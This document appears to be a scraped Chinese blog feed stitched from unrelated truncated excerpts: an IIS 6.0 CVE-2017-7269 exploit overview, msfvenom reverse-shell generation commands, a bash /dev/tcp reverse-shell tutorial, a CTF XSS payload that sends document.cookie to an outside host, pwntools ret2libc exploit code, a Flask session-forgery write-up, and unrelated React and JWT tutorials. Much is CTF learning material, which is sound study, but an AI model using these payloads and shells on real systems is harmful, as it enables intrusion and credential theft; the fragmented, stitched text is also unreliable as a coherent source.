payload

简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞，在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。 测试环境 受攻击系统：windows server 2003 攻击系统：Kali 2018.04 反弹主机：Ubuntu 18.04 LTS CVE-2017-7269漏洞原理 由恶意的 PROPFIND 请求所引起：当 If 字段包含了 http://localhost/xxxx 这段超长URL时，导致缓冲区溢出（包括栈溢出和堆溢出） 具体位置在w3wp.exe，httpext模块的ScStoragePathFromUrl函数处。 httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配； 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的； Metasploit5利用EXP Metasploit加载自定义模块 加载自定义模块方法 1、 在home目录里的【$HOME/.msf4/modules/exploits/】里就是自定义的模块 2、

0x00 Windows，Linux反弹shell生成 Windows： msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径 Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径 0x01 msfvenom命令参数： 1 Options: 2 -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定 3 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all 4 -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 5 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) 6 -e, --encoder [encoder] 指定需要使用的encoder（编码器） 7 -a, --arch <architecture>

0x00 反弹shell概述 　　反弹shell：即reverse shell，在我们自己的公网vps建立监听，然后让服务器反弹一个shell来连接我们自己的主机，通过反弹的shell去远程控制服务器。 0x01 反弹shell原因 　　通常由于防火墙、权限不足、端口占用等情况下，无法直接连接目标主机，此时就需要通过反弹shell，让目标主机主动来连接我们再公网的vps。 0x02 Linux下反弹shell 　　实验环境： 　　攻击主机：kali：192.168.217.135 　　目标主机：ubuntu：192.168.217.132 　　1.Bash反弹 　　1)攻击主机上执行监听：　　 　　　　nc -lvp port　　//设定监听的端口 　　　　 　　2)目标主机上反弹shell：　　　 　　　　bash -i >& /dev/tcp/x.x.x.x/port 0>&1　　　　　　//bash -i：打开一个交互的bash　　　　//>&：将标准输出和标准错误输出重定向到文件/dev/tcp/，即传递到远程　　　　///dev/tcp/x.x.x.x/port：调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口　　　　//0>&1：标准输入重定向到标准输出，实现与反弹出来的shell的交互 　　　　Linux文件描述符：　　　

本系列教程是教大家如何根据 开源js绘图库 ，打造一个属于自己的在线绘图软件。当然，也可以看着是这个绘图库的开发教程。如果你觉得好，欢迎点个赞，让我们更有动力去做好！ 本系列教程重点介绍如何开发自己的绘图软件，因此，react基础和框架不在此介绍。可以推荐react官网学习，或《 React全家桶免费视频 》。 本系列教程源码地址： Github 前面 教程一 ，搭建了一个基础框架，现在我们来实现 顶部导航菜单栏 功能。 一、react组件间通信 - 菜单事件 这里，我们通过redux方式来实现组件间消息通信。 UmiJS做了一点封装 ，使用更简单。 1. 新建store - model 我们在src/models文件夹下新建event.ts文件，专门用于消息事件的store处理。 主要包含： namespace - 命名空间 state - 数据 reducers - 数据搬运工 给没有接触过redux的同学简单介绍下，会的请自动跳过： models是数据存储的地方。用namespace来进行模块划分或避免命名冲突；state：类似于react的state，专门用于存放数据；reducers：接收更新命令，根据命令参数(state ：原数据；action：新行为参数数据)，然后加上自己的业务逻辑，去实现如何更新数据。比如下面，只是简单的赋值，没有额外的业务逻辑。 注意

以前一直没做过xss的题，这次按writeup做题感觉有所收获，记录一下吧 xss 的waf的绕过 ()都被过滤，把所有的payload转为 HTML Markup ，其实就是&#加ascii码 payload <svg><script>eval&#40&#34" + output + "&#34&#41</script> output就是下面的东西转化为HTML Markup编码的东西，这是XSS Platform这个平台自带的payload，一开始没看懂，整理一下代码格式 (function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0 &location='+escape((function(){try{return document.location.href}catch(e){return''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+ '&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+ '

找了半天发现浏览器太小没有看见给的libc.so链接 首先是字符串的比较 read是读到'\n'停止，而strlen是到'/0'就停止 所以我们可以让第一个字符为'\x00'绕过字符串比较 然后就是把v5覆盖得大一点 好让后面的read有机会溢出 然后就是libc.so泄露 libc.so可以给我们提供一套函数的地址，并且在里面虽有函数的相对位置都是固定的。意思是如果我们知道了每一个函数的真实地址，我们可以根据给出的libc.so计算出其他函数的真实地址(实际上就是要得到system_addr) 这里选择泄露write_addr，之后计算出system_addr 同样libc.so里面会有'/bin/sh'这样的字符串，计算出真实地址拿出来用就是了 补充：因为对于传参的引用不会使用pop而是直接利用ebp指向，所以ret后面紧跟下一个要ret函数的地址（如果没有想要跳转的函数，用4个/8个字符填充之后才能跟传参） 这里第20行就是write_plt之后紧跟main_addr进行第二次溢出调用system from pwn import * io=remote('node3.buuoj.cn',28972) # io=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc-2.23.so') system_libc=libc

当题目未提供libc.so的时候 可以使用DynELF寻找我们需要函数的地址 关于DynELF（ https://blog.csdn.net/qq_40827990/article/details/86689760 ） 我的理解是，DynELF通过它自己有的各种libc.so去爆破该ELF的libc.so 所以需要一个leak函数支持多次的write函数之类的功能 就好比可以 while 1: leak() leak的参数addr 是我们需要用write写出数据的地址 函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf 之后使用lookup("function_name","libc") function_name就是需要查询的函数真实地址 返回为int 还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因 所以返回start 把所有东西全清空 改题构造leak之后 找到system地址 通过read 把"/bin/sh"读到data段 （一般是bss段，不过这里bss段太短了装不下，所以找可执行的data段） 注意read的使用要严格控制字符数 也就是第三个参数 最开始这里使用了io.sendline("/bin/sh\x00")

记录一道比较有意思的题目，对于萌新来说能学到很多东西orz。。 三种解法： 1： flask session 伪造 2： unicode欺骗 3： 条件竞争 注册账户查看源码： 发现提示 ，根据提示和题目名估计要让我们登录admin用户就可以得到flag。 在change password页面查看源码，发现提供了题目的源码地址 发现是用flask写的，我们就直接去看一下路由， 打开route.py，看一下index的注册函数代码 @app.route('/') @app.route('/index')def index(): return render_template('index.html', title = 'hctf') 发现index注册函数没做什么处理，直接返回index.html渲染模版，于是我们看一下templates/index.html代码 {% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav"

JSON Web Tokens，是一种开发的行业标准 RFC 7519 ，用于安全的表示双方之间的声明。目前，jwt广泛应用在系统的用户认证方面，特别是现在前后端分离项目。 1. jwt认证流程 在项目开发中，一般会按照上图所示的过程进行认证，即：用户登录成功之后，服务端给用户浏览器返回一个token，以后用户浏览器要携带token再去向服务端发送请求，服务端校验token的合法性，合法则给用户看数据，否则，返回一些错误信息。 传统token方式和jwt在认证方面有什么差异？ 传统token方式 用户登录成功后，服务端生成一个随机token给用户，并且在服务端(数据库或缓存)中保存一份token，以后用户再来访问时需携带token，服务端接收到token之后，去数据库或缓存中进行校验token的是否超时、是否合法。 jwt方式 用户登录成功后，服务端通过jwt生成一个随机token给用户（服务端无需保留token），以后用户再来访问时需携带token，服务端接收到token之后，通过jwt对token进行校验是否超时、是否合法。 2. jwt创建token 2.1 原理 jwt的生成token格式如下，即：由 . 连接的三段字符串组成。 ? 1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9